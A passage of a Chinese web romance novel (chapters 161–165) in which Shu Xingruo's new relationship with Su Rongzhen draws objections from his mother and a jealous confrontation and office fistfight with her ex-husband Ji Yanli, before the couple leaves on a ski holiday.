舒星若雪白的手臂缠绕着苏容泽,苏容泽放肆的挥洒爱意。
两人纵情的享受着极致的欢愉。
纵情之后,苏容泽抱紧她:“若若,元旦你想去哪里玩呢?”
第161章 只要她点头,她就是苏太太
舒星若摇摇头,发丝蹭过苏容泽的颈窝,带起一阵微痒,他一阵心神荡漾。
“唐梵的病情还没稳定下来,我想留在家里给她治病,下周她就可以坐轮椅了。”
虽然苏容泽特别期待他们第一次的新年旅行,但他更尊重舒星若的决定。
他将下巴抵在她的发顶,轻轻蹭了蹭。
说到底,她是为了帮自己才揽下唐梵这个病人,这份情,他都记在心里。
他柔声说道:“好,那我们就在家待着,哪儿也不去。”
舒星若被他这副黏人的样子逗笑了,伸手揉了揉他的头发,“你再休息一会,我下去给唐梵治疗,晚上你想去哪都行。”
她起身时,顺手拿起了床头柜上静音了许久的手机。
屏幕亮起,一条两小时前的微信消息格外显眼,来自季宴礼。
舒星若对出名这种事向来没什么兴趣,但为了瑞祥的新药,她愿意配合。
她很职场的回复:【一切听季总的安排。】
季宴礼秒回:【那我就让言助安排了。】
【这么久才回,你刚在做什么?】
隔着屏幕,舒星若都能想象出季宴礼那副质问的、理所当然的霸道口吻。
她眉心微蹙,不耐烦瞬间浮上心头。
季宴礼握着手机,心脏无端地揪紧。
他猜他们已经到了深入交流的地步,可心里又存着一丝微弱得可笑的希望,希望她和苏容泽之间,还止于牵手的阶段。
舒星若不想跟他废话,直白地回道:【季总,这是我的私事。】
屏幕那头的季宴礼,脸色瞬间沉了下去。私事?
他曾是她最亲密的人,现在连过问一句的资格都没有了?一股无明火直冲头顶。
【你提前下班,我作为老板不能过问吗?】
舒星若看着这条信息,嗤笑一声。他家住海边吗?管得真宽。
她回复,每一个字却像在故意挑战他的底线。
【不好意思,今天男朋友回来了,下午休假。你不满意可以扣我半天工资,或者全勤奖也行,我不介意。】
发完,她直接将手机倒扣在桌上,懒得再看。
“砰!”
季宴礼办公室里传来一声巨响,他终究没忍住,手机被他狠狠砸在了昂贵的实木办公桌上,屏幕瞬间四分五裂。
他撑着桌子,胸口剧烈起伏,手背上青筋暴起。
男朋友回来了……
这五个字,像五把淬了毒的尖刀,精准地扎进他心里,来回搅动。
疼,密密麻麻的疼,伴随着无尽的悔恨和嫉妒,几乎将他吞噬。
舒星若则完全没把这插曲放在心上,她合上手机,穿上家居服,下楼进了唐梵的房间。
唐梵正靠在床上看书,见她进来,目光在她脸上一扫,揶揄道:“这面色红润的,眼角眉梢都带着春意,有爱情滋润的女人果然不一样。”
舒星若也不掩饰,坦然地笑了,“嗯,他是个特别值得爱的男人。”
这份坦荡和幸福,让唐梵看得有些羡慕。
舒星若在她床边坐下,习惯性地搭上她的手腕号脉,神情瞬间变得专注,“唐姐,你这脉象,今天有什么大喜事?”
她记得很清楚,早上把脉的时候,唐梵的脉象虽然平稳了一些,但依旧带着郁结之气。
怎么才大半天功夫,这郁结就散得一干二净?
唐梵闻言,脸上露出释然的笑容,“我的人已经查明白了,沈媛媛对**的那些事,不是柯兴昌指使的。”
之前疑似被深爱之人背叛的痛苦,几乎将她击垮。
那天柯兴昌在病房外的表现,让她不得不怀疑他。
幸好一切只是虚惊一场。
那个她深爱多年的男人,没有负她。
“太好了,唐姐,你心情好,病也好得快一些。”舒星若由衷地为她高兴。
她拿出针囊,熟练地为唐梵施针。治疗结束后,叮嘱她好好休息,才转身走出房间。
客厅里,苏容泽正在用平板在办公,舒星若见怪不怪,工作狂一向如此。
沙发旁的茶几上,站着两位西装革履的人,是爱彼品牌方的工作人员。
见到舒星若,他们恭敬地打开了两个精致的表盒。
她之前定的皇家橡树系列情侣对表到了。
男款是深邃的深夜蓝表盘,低调中透
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着无法忽视的奢华。
女款则是纯净的雪山白,表盘外圈密密地镶嵌着一圈璀璨的碎钻,熠熠生辉。
天生一对。
舒星若拿起男表,走到苏容泽身边,自然地执起他的手腕,将他原本戴着百达翡丽取下,换上这只新的。
苏容泽的目光始终没有离开她的脸,等她弄好,便拿起那只雪山白,小心翼翼地帮她戴上。
冰凉的表链贴上温热的肌肤,他的指尖有意无意地划过她的手腕,带起一阵酥麻的痒。
他握着她的手,笑着端详了片刻,“我们这像不像婚礼上交换戒指?”
舒星若的脸颊“唰”地一下泛起红霞,嗔怪地瞪了他一眼,这人怎么成天就想着结婚的事?
“别胡说,这是我送你的新年礼物。”嘴上这么说,心里却甜得冒泡。
她隐隐的也期待着他们的婚礼,但转瞬劝自己冷静,结婚是大事,不能贸贸然就结了。
戴好之后,苏容泽举起两人的手腕,并排放在一起。
深夜蓝与雪山白,相得益彰,越看越觉得般配。
他幼稚地拿出手机,“咔嚓”一声,拍下两人戴着对表交握的手。
然后,迫不及待地发了条朋友圈,配文极其欠揍。
【女朋友的眼光就是好!】
这条朋友圈如同一颗深水**,瞬间激起千层浪。
不到十分钟,吉广琪的电话就火急火燎地打了过来。
“容泽,你跟星若到什么地步了?”电话那头的声音透着急切和质问。
苏容泽心情极好,懒洋洋地靠在沙发上,一手还牵着舒星若,语气无比坚定,“只要她点头,我随时娶她进门。”
电话那头的吉广琪闻言脸色大变,故作镇定的问道:“星若那个不育的情况治好了吗?”
“暂时还没有,但这不妨碍我爱她。”
“不妨碍?”吉广琪的声音陡然拔高,头皮一阵发麻。
在她眼里,男女之情不过是锦上添花的东西,怎么能凌驾于家族利益之上?
“不行!你娶了她,苏家偌大的家业将来要给谁?等于将苏家的财富拱手他人,我绝不同意!”
第162章 没有舒星若,一切就没有意义
一向尊敬吉广琪的苏容泽,此刻却觉得电话那头传来的声音格外刺耳,他握着手机的手逐渐用力,声音沉了下去:“妈,如果我不能娶星若,那我坐拥亿万家财,每天努力奋斗的意义何在?”
吉广琪在电话那头嗤笑一声,笑声里满是不屑与讥讽。
爱情这东西在她看来虚无缥缈,一文不值。
她冷声道:“这世上女人千千万万,星若确实优秀,但做你的妻子,必须有生育能力。苏容泽,你不是十几岁的小年轻了,不许在这里昏了头,跟我演什么情深义重。”
“妈!”苏容泽怒火中烧,胸口剧烈起伏,“我只说最后一次,舒星若是我认定的女人,我这辈子有且只有她一个人。无论她能不能生育,她都是我的妻子。”
他字字铿锵,充满了不容置疑的决绝。
舒星若站在一旁,从他紧绷的侧脸和骤然冰冷的眼神,便已猜到电话那头在说什么了。
关于她身体的隐疾,是横亘在所有豪门面前的一座大山。
她静静地听着,当听到苏容泽那句“她都是我的妻子”时,心中最柔软的地方仿佛被狠狠撞了一下,酸涩与暖意交织着涌上眼眶。
她伸出手,轻轻拉了拉苏容泽的衣袖,示意他冷静下来。
电话那头的吉广琪被儿子的强硬态度气得不轻,丢下一句“你跟她恋爱可以,我不阻止,娶回家绝无可能”,便“啪”地挂了电话。
而在度假村里,一旁的甘净莲将一切听在耳中。
她端着茶杯,吹了吹浮沫,眼神却比谁都通透,“你儿子不是毛头小子了,他清楚自己在做什么。你一个当妈的,不能这样简单粗暴。”
她这个女儿,只爱金钱和权势,从未明白过爱情的滋味。
“不是所有人都和你一样,无情无爱。”甘净莲淡淡地补充了一句。
吉广琪被母亲说得脸上挂不住,脖子一梗,倔强地争辩道:“以他的金钱和地位,什么样的女人得不到?非要在一个不能生的女人身上吊死?”
甘净莲冷冷地瞥了她一眼:“星若出现之前,他找过女人吗?”
一句话就堵得吉广琪哑口无言。之前她为了儿子的终身大事,头发都愁白了,安排的相亲他永远是兴致缺缺,唯一去过的一次,也是为了敷衍了事。
甘净莲放下茶杯,声音里带上了警告的意味:“容泽跟苏家那些人斗生斗死,本来就压力大,要是连跟心爱女人在一起的念想都没了,你觉得他还愿意守着东盛集团吗?你把他逼走了,我看你怎么办?”
吉广琪心头一惊,如遭雷击。
母亲的话不无道理,但让她接受一个无法为苏家延续后代的儿媳,接受儿子辛苦打拼的产业将来可能拱手他人,她无论如何也咽不下这口气。
舒星若的家里,气氛因那通电话而有些凝滞。
苏容泽挂断电话后,反手握紧舒星若的手,眼里的怒意瞬间化为柔情,他低声安慰道:“若若,你放心,我绝不负你。无论是谁反对,也阻挡不了我跟你在一起的决心。”
他顿了顿,忽然凑近她,眼里闪过一丝狡黠,“除非你打算对我始乱终弃。”
“我没有。”舒星若被他这倒打一耙的说法弄得哭笑不得,心里的那点阴霾也散了不少。
“那我们元旦假期后去领证吧?”苏容泽趁热打铁。季宴礼那混蛋虎视眈眈,他得赶紧把名分定下来,断了所有人的念想。
他凝视着她,半开玩笑半认真地追问:“你不会睡了我不想负责吧?”
“你!”舒星若的脸“轰”一下红透了,一路红到耳根。
她又羞又窘,轻轻推了他一下,“你知道的,上一段婚姻我就是没有深思熟虑,所以才导致最后的不幸。我不想再步后尘,暂时还不想那么快再婚。”
她的声音低了下去,含着悲伤。
那段失败的婚姻是她心上的一道疤,即使愈合了,也总会在相似的情境下隐隐作痛。
苏容泽理解她的犹豫和恐惧。
他不再逼她,而是将她轻轻揽进
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怀里,声音温柔:“若若,我知道你的恐惧。没关系,我会一直在这里等你,等到你心甘情愿,点头说‘我愿意’的那一天为止。”
温暖的怀抱,坚定的承诺,让舒星若所有的不安都找到了安放的角落。
她把脸埋在他胸口,甜甜的说了一句:“小泽泽,你真好!”
就在这时,玄关传来响声,季知许和柯依晴回来了。
季知许一见客厅里的苏容泽,眼睛瞬间亮了,像只小炮弹似的飞奔过来,一把抱住他的腿:“苏叔叔,你终于回来了,我想你都想瘦了!”
一旁的舒星若早已习惯了他这浮夸中带着“拙劣”的演技,忍俊不禁。
苏容泽却受用得很,被这小家伙哄得像个智商下线的傻爸爸,他笑着揉了揉季知许的头,“嗯,苏叔叔也想你。”
他放下季知许,拿出一个包装精美的盒子,是他早就为季知许准备好的定制版乐高太空站。
这礼物精准地击中了小家伙的心巴,季知许抱着盒子,眼睛里闪烁着兴奋的光芒,爱不释手。
他毫不吝啬地夸赞道:“苏叔叔,你也太懂我了。这礼物我爱**!”
苏容泽宠溺地捏了捏他的小肉脸:“喜欢就好。”
他也没忘了柯依晴,从另一个袋子里拿出一件款式大方漂亮的羊绒大衣递过去。
他对这个女孩不甚了解,送礼物只是尽到长辈的礼貌。
柯依晴客套地道了谢:“谢谢苏叔叔。”随后便安静地进病房去看望唐梵了。
季知许则迫不及待地抱着他的新玩具上楼回房间。
第二天,是这一年的最后一天。
从苏容泽怀中醒来的舒星若,感慨这一年的变化太大。
自己从一名家庭主妇变成了公司创始人和CEO,还离开了爱了八年的季宴礼,拥有了新的生活。
她轻抚苏容泽英俊的脸颊,一切都仿佛一场梦幻。
苏容泽也从睡梦中醒来,见舒星若在发呆,问道:“想什么呢,想得这么出神?”
第163章 去季氏宣誓**
苏容泽的呼唤让舒星若回过神来,这一切是实实在在发生的,这个俊朗不凡的男人就在她的面前,是她的爱人。
内心被温软的情绪填满,踏实而又温暖。
她指尖点着他高挺的鼻梁,轻笑道:“我在想,我上辈子是不是积了什么天大的功德,这辈子才能遇见你。”
苏容泽低头,用鼻尖蹭了蹭她的,笑着说:“巧了,我也在想,我上辈子肯定拯救了整个银河系,才能遇到这么好的若若。”
他将额头抵住她的额头,鼻尖相触,呼吸交缠,深情地说道:“若若,我希望余生每个清晨醒来,第一眼看到的就是你。”
说罢,温热的唇印在她的眉心。
他的手开始不规矩地在她腰间游走,掌心的热度透过薄薄的睡衣传递过来,让舒星若的身体微微战栗。
她抓住那只作乱的手,轻轻推开他,脸颊泛红:“现在不行,我要下去给唐姐治疗。”
苏容泽眼中闪过些许失望,随即又被浓浓的坏笑取代,凑到她耳边低语道:“那晚上继续?”
热气喷在耳廓,痒痒的。
舒星若心跳加速,轻轻“嗯”了一声。
早餐的气氛温馨而融洽。
季知许一边吃早餐,一边滔滔不绝地跟苏容泽讲乐高空间站多么细节。柯依晴昨晚跟季知许一起拼的,她也参与到他们的话题当中来。
苏容泽听得一脸认真,时不时还提出几个“专业”问题,三人聊得热火朝天。
舒星若看着他们,心里柔软得一塌糊涂。
吃完早餐,苏容泽理所当然地牵起舒星若的手,“坐我的车去上班。”
“不用了,我自己开车很方便。”
“不行。”苏容泽的态度很坚决。
他走过来,从背后圈住她的腰,下巴搁在她的肩窝,带着几分孩子气的霸道,“季氏大厦那地方,苍蝇蚊子太多,我得亲自去喷点杀虫剂,宣誓一下**。”
舒星若被他逗笑了,无奈地摇摇头:“苏总,你幼不幼稚?”
“对你,我愿意幼稚一辈子。”他一本正经地说。
舒星若拗不过他,只好由着他去。
只要他开心,随便他怎么折腾。
刚坐进车里,舒延兆的电话就打了过来。
电话一接通,外公乐呵呵的声音就传了过来,中气十足:“若若啊,明天就元旦了,外公给你放个假!你那个病人唐梵,情况我了解,正好我手头不忙,过来接手几天。你啊,赶紧和小苏收拾收拾,趁着新年,带着许许出去玩几天!”
舒星若拿着手机,一时没反应过来,心里涌上一股暖流。
外公这哪里是想接手病人,分明是想给他们创造二人世界的机会。
“外公,我得先征求一下唐梵的意见。”毕竟是换医生的大事,她不能擅自做主,惹得唐梵不快。
“行,那你先问问她,我估摸着她巴不得呢!问好了给我回电话。”舒延兆说完挂了电话。
苏容泽在一旁听了个大概,嘴角已经抑制不住地上扬。
她家里人也太好了。
舒星若立刻拨通了唐梵的电话,“唐姐,有个事跟你商量一下。我外公说,元旦假期他过来给你继续治疗,让我们出去玩几天,不知道你愿不愿意?”
电话那头沉默了两秒,随即爆发出唐梵惊喜交加的声音:“愿意,我当然愿意!我简直求之不得啊!”
唐梵最近闲着没事,把行止堂的资料翻了个底朝天,早就知道舒延兆是比舒星若更牛逼的存在。
那可是国手级别的泰斗人物,无数达官显贵想请都请不到的神医。
只是人家几十年如一日的低调,不想普通人挂不到他的号。
“星若,你快别管我了,赶紧和你家苏总出去过节!你外公肯出手,我这是太幸运了。”唐梵开玩笑道,“说不定等你们度完假回来,我都能下地跑了。对了,告诉你个好消息,今天晚上柯兴昌就到海市了,过来陪我们过元旦。”
“那感情好,你们一家三口可以过一个圆满的元旦了。”舒星若由衷地为她感到高兴。
挂了电话,舒星若给舒延兆发了条微信
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:【唐梵同意了!】
转头看向苏容泽,眉眼弯弯:“计划通过。我们元旦可以去度假了,外公照看唐姐,柯兴昌也会过来陪她们母女。”
苏容泽眼中的笑意几乎要溢出来,他当即拿起手机拨给宗司辰:“给我订一个私密性最好的滑雪度假村,要最好的套房,所有东西都安排好,我们今晚就出发。”
这是他和舒星若的第一次旅行,充满期待。
车子开到了季氏大厦,苏容泽牵着舒星若的手,十指紧扣。
来往的人都忍不住看向他俩,可以想象得到,今天季氏集团各个群里的讨论有多精彩。
他就是要让所有人都知道,舒星若是他的女朋友,任何人都别想再肖想。
舒星若知道他的用意,低声说:“其实整个季氏,也就季宴礼跟个冤魂似的整天来烦我,其他人对我没有想法。”
提到季宴礼,苏容泽的脸色沉了沉,语气里满是鄙夷:“他就是活该。这世上又没有后悔药,当初把鱼目当珍珠,现在失去了才来表演深情,不觉得太可笑了吗?”
“可不是么,”舒星若也冷笑一声,“当初跟何欣成天高调示爱,气得我半死,我才下定决心离开他。”
聊着聊着,电梯到了十五楼。
“叮”的一声,电梯门缓缓打开。
季宴礼像一尊门神似的,面色阴沉地站在电梯口,显然是特意在等她。
当他的目光落在两人紧紧交握的手上时,眼睛里瞬间燃起了怨毒的火焰,死死地盯着苏容泽。
季宴礼扯了扯嘴角,阴阳怪气地说道:“苏总真是清闲,大早上的,需要亲自跑到别人公司来秀恩爱吗?”
苏容泽不怒反笑,他往前一步,将舒星若稍稍护在身后,手臂依旧紧紧揽着她的腰,姿态亲昵又充满了占有欲。
他挑眉看向季宴礼,语气轻描淡写,却字字诛心:“季总说笑了。我只是送我女朋友来上班,顺便提醒某些人,看好自己的眼睛,别总盯着不属于自己的东西。毕竟这里的苍蝇太多,我怕她心烦。”
第164章 你们两个都让我很烦
苏容泽的话像一把淬了毒的**,精准无误地扎进了季宴礼的心脏。
他的脸色白得像一张纸,身体不受控制地晃了晃,撑在电梯门框上的手用力到骨节都凸了出来。
女朋友、苍蝇、每一个字都在嘲讽他如今的身份,一个被嫌弃、被抛弃的前夫。
舒星若看着季宴礼这副备受打击的样子,心里没有半分同情,只有无尽的厌烦。
她真的受够了,受够了这种没完没了的纠缠。
“季总,麻烦你让一下,我要去上班了。”舒星若的声音冷冰冰的,不带丝毫感情。
季宴礼的目光从苏容泽身上移开,死死地锁在舒星若脸上,眼神里翻涌着痛苦、不甘和疯狂的占有欲。
“星若,你非要这样作践自己吗?跟他在一起,你就这么开心?”
“作践?”舒星若像是听到了天大的笑话,气得笑出了声,“季宴礼,你是不是脑子有什么问题?我跟我男朋友在一起,怎么就叫作践自己了?难道非要跟你这种自我感觉良好、从不尊重别人的男人绑在一起,才叫不作践?”
她往前一步,直视着他的眼睛,一字一句地说道:“我告诉你,我现在开心得很,前所未有的开心。苏容泽他尊重我,爱护我,支持我做任何我想做的事,他不会像你一样,永远只知道用命令的口气跟我说话,永远只想着控制我。你给不了我的,他全都给了。”
这番话,比苏容泽刚才的嘲讽还要伤人。
因为这是从他心爱的女人嘴里亲口说出来的,每一个字都像是在控诉他过去犯下的错。
季宴礼的心疼得快要裂开,他甚至能听到自己理智崩断的声音。
“我不信!”他低吼出声,眼睛里布满了红血丝,“他不过就是看你新鲜,等新鲜劲一过,他会比我更过分!你别被他骗了!”
苏容泽揽着舒星若的手臂收得更紧了,他轻笑一声,笑声里充满了轻蔑。
“季总,收起你那套可笑的说辞吧。你做不到的事情,不代表别人也做不到。是你自己不懂得珍惜,才把若若推开的。现在在这里装深情给谁看?你不觉得恶心,我们都替你感到尴尬。”
“你闭嘴!”季宴礼彻底被激怒了,他猛地伸出手,想要去拽舒星若的手腕,“星若,你跟我过来,我有话跟你说!”
他的手还没碰到舒星若,就被苏容泽一把攥住。
苏容泽的脸色彻底冷了下来,眼神锐利得像刀子。
“季宴礼,我警告你,别动她。”
两个男人,同样的身高,同样强大的气场,在电梯口前对峙着,空气里的**味浓得要**。
周围路过的员工早就吓得不敢靠近,远远地站着,伸长了脖子往这边看,交头接耳地议论着。
“天啊,打起来了打起来了!”
“苏总好帅啊,护着舒总的样子太有安全感了!”
“季总也太惨了吧,前妻和情敌天天在自己眼皮子底下秀恩爱,这谁受得了?”
“惨什么惨,都是他自己作的,当初跟白月光出双入对,不公布自己的妻子,现在后悔有什么用?”
舒星若的脸一阵红一阵白,她觉得自己的脸都快被季宴礼丢尽了。
“季宴礼,你放手!你闹够了没有?”她用力想甩开他,可他抓得死紧。
“我不放!”季宴礼固执地看着她,像个耍赖的孩子,“星若,你不能跟他在一起,我不允许!”
“你凭什么不允许?你是我什么人?”舒星若快被他气疯了,“季宴礼,我们已经离婚了!离婚了你懂不懂?我的事轮不到你来管!”
“我……”季宴礼被她吼得一噎,心口像是被挖空了一块,血淋淋地疼。
是啊,他现在是她什么人?什么都不是。
就在他失神的这一瞬间,苏容泽猛地一用力,甩开了他的手,同时一拳挥了过去,正中季宴礼的侧脸。
“砰”的一声闷响。
季宴礼被打得一个趔趄,嘴角立刻就见了血。
所有人都惊呆了。
谁也没想到,苏容泽竟然会真的动手。
“苏容泽!”舒星若也吓了一跳,下意识地喊了一声。
季宴礼抹了一把嘴角的血,眼神变得狠戾无比,他像是被激怒的野兽,怒吼一声就朝苏容泽扑了过去。“苏容泽,我弄死你!”
两个在商场上叱咤风云的男人,此刻就像街头斗殴的小混混一样,毫无形象地扭打在了一起。
你一
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拳,我一脚,谁也不肯服输。
言永飞和黄丽歌听到动静,匆匆忙忙地从办公室里跑了出来,看到眼前这一幕,两个人都傻眼了。
“季总!”
“苏总!”
“快,快拉开他们啊!”舒星若急得大喊,她一个女人根本插不进去。
黄丽歌和言永飞这才反应过来,赶紧冲上前去,一人拉住一个。
“季总,您冷静点,这是在公司,传出去多难看。”言永飞拉着季宴礼劝道。
“苏总,别打了,有话好好说!”黄丽歌也拼命拉着苏容泽的胳膊。
可两个男人都打红了眼,哪里听得进去劝。
季宴礼挣脱开言永飞,又是一拳砸向苏容泽。
苏容泽也不甘示弱,抬脚就踹了过去。
场面混乱不堪。
舒星若看着眼前这荒唐的一幕,只觉得一阵头晕目眩。
她怎么会把自己的人生搞得这么一团糟?
“都给我住手!”她用尽全身力气,歇斯底里地吼了一声。
这一声怒吼,总算让两个男人停了下来。
他们分开站着,都在剧烈地喘着气,脸上挂了彩,西装也变得皱巴巴的,两人都狼狈不堪。
季宴礼的嘴角破了,眼角青紫。
苏容泽的脸上挨了一拳,颧骨红了一片。
舒星若看着他们,气得浑身发抖,眼眶都红了。
“你们打够了吗?觉得很威风是吗?在公司门口,当着这么多员工的面打架,你们不嫌丢人,我还嫌丢人!”
她指着季宴礼,声音都在颤抖,“季宴礼,我最后警告你一次,以后离我远一点!你要是再敢来骚扰我,别怪我把你当初那些破事抖出来!”
季宴礼心塞,舒星若是懂怎么拿捏他的。
说完,她又转向苏容泽,语气软了下来,但依旧带着责备:“还有你,跟他这种疯子动什么手?把自己弄伤了值得吗?”
苏容泽看着她心疼又生气的样子,心里的火气瞬间就消了,他走过去,想去拉她的手,“若若,我没事,是他先动手的。以后我绝不会再冲动。”
舒星若躲开了他的手,怒气冲冲的说道:“我不想听任何解释,你们两个,都让我觉得很烦。”
第165章 给舒星若准备一份新年大礼
她说完,转身就走,头也不回地进了自己的办公室,“砰”的一声关上了门。
办公室的门被重重关上,舒星若背靠着门板,身体顺着门滑落,无力地蹲在了地上。她抱着膝盖,把脸深深地埋了进去。
她可以想象,现在整个季氏集团的内部群里,会是怎样一番热闹的景象。她、季宴礼、苏容泽,这三个人,恐怕已经成了全公司最大的笑话。
一个是偏执疯狂的前夫,一个是冲动易怒的现男友,而她夹在中间,像个小丑。
她为什么要经历这些?她明明只想好好工作,好好生活,好好谈一场恋爱,为什么季宴礼就是不肯放过她?
眼泪不争气地掉了下来,滚烫的泪珠砸在手背上。
她不是委屈,也不是难过,就是觉得烦,一种发自内心的、深入骨髓的烦躁。
外面的争吵声似乎还在继续,她听不清他们在说什么,也不想听。
她只想一个人安安静静地待着。
过了不知道多久,办公室的门被敲响了。
“舒总,是我,黄丽歌。”
舒星若胡乱地抹了把脸,站起身,整理了一下自己的情绪,才走过去打开门。
黄丽歌端着一杯热咖啡站在门口,看到她红肿的眼睛,担忧地问:“舒总,你没事吧?”
舒星若摇摇头,接过咖啡,声音有些沙哑:“我没事,谢谢。外面怎么样了?”
“苏总已经走了,言助把季总劝回办公室了。”黄丽歌叹了口气,小声说道,“舒总,今天这事你别往心里去。大家都能看明白,是季总一直在无理取闹。”
舒星若苦笑了一下,“明白又怎么样?笑话还不是照样看。”
“那不一样。”黄丽歌很认真地说,“大家看的不是你的笑话,是季总的笑话。一个大男人,离了婚还对前妻死缠烂打,甚至不顾身份在公司门口跟你的男朋友动手,丢人的是他。”
黄丽歌的话,让舒星若的心里稍微好受了一点。
“行了,不说这个了,工作吧。”舒星若喝了一口咖啡,试图让自己冷静下来。
可她刚坐到办公桌前,办公室的门就又被推开了。
这次进来的是季宴礼。
他已经整理过了,换了一件干净的衬衫,脸上的伤口也用创可贴贴上了,但眼角的青紫和嘴角的破口依然清晰可见,让他整个人看起来有种阴郁的暴戾感。
黄丽歌见状,识趣地退了出去,还体贴地带上了门。
办公室里只剩下他们两个人。
舒星若连眼皮都懒得抬一下,冷冷地开口:“你来干什么?来看我有多狼狈吗?还是来继续你的疯言疯语?”
季宴礼走到她办公桌前,双手撑在桌面上,俯身看着她,眼神复杂得像一团打结的乱麻。
“星若,对不起。”他开口,声音嘶哑。
舒星若嗤笑一声,“对不起?季总,你的道歉未免也太廉价了。每次惹我生气,就说一句对不起,然后下次变本加厉。你觉得有意思吗?”
“我不是那个意思。”季宴礼的胸口一阵发闷,“我只是,我控制不住我自己。看到你跟他在一起,看到他对你笑,我就嫉妒得快要疯了。”
“那是你的问题,不是我的。”舒星若终于抬起头,眼神冷得像冰,“季宴礼,我拜托你,做个人吧。我们已经结束了,我有权利开始新的生活,你没有资格干涉。”
“我没有想干涉你!”季宴礼的声音也拔高了,“我只是不想让你被骗!苏容泽他不是什么好人,他接近你是有目的的!”
“够了!”舒星若猛地一拍桌子,站了起来,“他是不是好人,我比你清楚!他有没有目的,我也比你清楚!就算他真的有目的,那也是我们两个人之间的事,与你何干?”
她绕过办公桌,走到他面前,仰头看着他,眼里全是决绝和厌恶。
“我今天把话给你说明白了。第一,苏容泽是我的男朋友,我爱他,我想跟他在一起,谁也别想阻止。第二,这里是公司,我是瑞祥的负责人,你是季氏的总裁,我们是上下级的关系。我希望你以后能公私分明,不要再把你的私人情绪带到工作中来。”
“第三,也是最重要的一点。”她顿了顿,一字一顿地说道,“以后,请你不要再来骚扰我。如果你做不到,那这个合作,我看也没有必要再继续下去了。我离开瑞祥,一样能活。”
说完,她直接拉开办公室的门,做了一个“请”的手势。
“现在,请你出去。”
季宴礼僵在原地,浑身的血液都凝固了。
她为什么每次都如此**,瑞祥即将要上市的三款新药跟他们舒家息息相关,他竟然可以为了苏容泽,不要了。
一股巨大的恐慌和绝望瞬间席卷了他。他一直以为,只要自己坚持,只要自己对她足够好,她总有一天会回心转意。
他以为,他们之间还有季知许这个纽带,还有瑞祥这个合作,他们是分不开的。
可现在他才发现,自己错了,错得离谱。
在舒星若的心里,他季宴礼,已经什么都不是了。
“星若……”他想说些什么,想挽留,想解释,可喉咙里像是堵了一团棉花,一个字都说不出来。
“出去。”舒星若的声音更冷了。
季宴礼看着她冰冷而陌生的脸,心脏像是被一只无形的手狠狠攥住,疼得他几乎无法呼吸。
他似乎耗尽了所有的力气来挽回他,每一次都是失败。
“星若,你能不能告诉我,要怎样你才肯跟我复婚?”
“除非我死。”舒星若的决绝让季宴礼痛得窒息,他想了想,也许苏容泽消失,他们才会重修旧好。
季宴礼迈着沉重的步子,走了出去。
在他转身的那一刻,舒星若毫不犹豫地关上了门。
舒星若,心烦意乱,忍不住苏容泽发了条微信:【脸上的伤怎么样了?去医院看看吧。】
苏容泽秒回:【一点皮外伤,不碍事。你别生气了,都是我不好,太冲动了。】
看到他的信息,舒星若心里的气消了一大半。
她知道,苏容泽动手也是为了维护她。
她回道:【不怪你,是季宴礼太欺负人了。是我连累你了。】
苏容泽的电话立刻打了过来:“若若,不许总说这种话,我是你男朋友,有义务保护你。”
“嗯,等三款新药上市,我就离开瑞祥。”
“好,随你。”
下午舒星若处理完工作回到家时,苏容泽正敷着冰袋,靠在沙发上看文件。
听到开门声,他立刻放下手里的东西,站了起来,“若若,你回来了。”
舒星若走过去,轻轻拿下他脸上的冰袋,看着他颧骨上那片明显的红肿,心疼地皱起了眉。“还说没事,都肿成这样了。”
她从医药箱里找出活血化瘀的药膏,用棉签蘸了,小心翼翼地帮他涂抹。
她的动作很轻,指尖温凉,带着淡淡的药香。
苏容泽一动不动地坐着,任由她摆弄,目光却一刻也没有离开她的脸。他看着她专注而心疼的眼神,心里又甜又软。
“还疼吗?”她轻声问。
“不疼了。”他抓住她的手,放在唇边亲了一下,“你一回来,我就什么都不疼了。”
舒星若被他这突如其来的情话弄得有些脸红,嗔怪地瞪了他一眼,“油嘴滑舌。今天的事,你是不是早就想动手了?”
苏容泽也不否认,坦然地点点头,“嗯,早就看他不顺眼了。一个大男人,天天跟个怨妇似的纠缠前妻,我都替他丢人。今天他敢对你动手,我没把他打进医院,已经算是看在你的面子上了。”
他说得理直气壮,舒星若却被他逗笑了。
“你还有理了?”她嘴上说着责备的话,心里却觉得暖洋洋的。
被人这样毫无保留地维护着,感觉真的很好。
“好了,不说他了,提起来就心烦。”舒星若收起药膏。
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>苏容泽说,“那我们现在就把这些烦心事都忘了。行李已经让阿姨收拾好了,准备出发,我们的元旦假期,正式开始!”
一提到旅行,舒星若的心情也跟着飞扬起来。
保姆给他们都准备了厚厚的羽绒服、滑雪服、帽子、手套,还有各种保暖内衣和漂亮的毛衣。
她甚至还帮舒星若带上了几件性感的真丝睡裙,度假就要好好的享受。
两人坐上车,司机发动车子,一起去国际学校接了季知许。
车上,舒星若把要去滑雪度假的消息告诉了季知许。
小家伙一听,立刻在后座上欢呼起来。
“太棒了!可以去滑雪了!妈妈,苏叔叔,你们是全世界最好的爸爸妈妈!”
童言无忌,却让两个大人都红了脸。
舒星若瞪了儿子一眼,“不许胡说。”
季知许却不以为意,笑嘻嘻地说:“我才没有胡说,苏叔叔对我这么好,我早就想让他当我爸爸了。”
苏容泽听得心花怒放,回头冲小家伙竖了个大拇指,“有眼光!”
舒星若无奈地摇摇头,心里却甜丝丝的。
到了机场,宗司辰已经等在了VIP候机室,把三人的登机牌和证件都交给了苏容泽。
他们坐的是民航的头等舱,私人飞机申请航线来不及。
季知许兴奋得不得了,边看平板边期待快点到雪场度假村。
舒星若和苏容泽坐在一起,一人分了一只耳机,头靠着头,看一部温情的爱情电影。
舒星若靠在苏容泽的肩膀上,闻着他身上熟悉的清冽气息,心里一片安宁。
她想,离开季宴礼,大概是她这辈子做过的最正确的决定。
与此同时,京市。
高山远的办公室里,谭蔚然站在办公桌前,低着头,连大气都不敢喘。
“先生,我们安插在海市的人回报,舒小姐今天下午和苏容泽,还有她的儿子,一起去了机场。”
高山远正在处理文件,闻言,动作一顿,抬起头,眼神冰冷。
“去哪儿了?”
“查到他们的航班信息了,是飞往哈市的,应该是去滑雪度假了。”谭蔚然小心翼翼地回答。
“滑雪度假?”高山远冷笑一声,笑声里猛地充满了怨毒和嫉妒,“苏容泽接盘了季宴礼的儿子,一家三口,其乐融融,是吗?”
他脑海里不由自主地浮现出舒星若和苏容泽带着季知许,在雪地里嬉笑打闹的画面。
那个想象中的画面,像一根毒刺,狠狠地扎进了他的心里。
凭什么舒星若可以这么幸福?
是她间接害**他母亲,转头就嫁给了富家公子季宴礼。
现在离了婚,又立刻投入了另一个富家公子苏容泽的怀抱。
她就是这么贪慕虚荣,水性杨花!
她凭什么过得这么好?
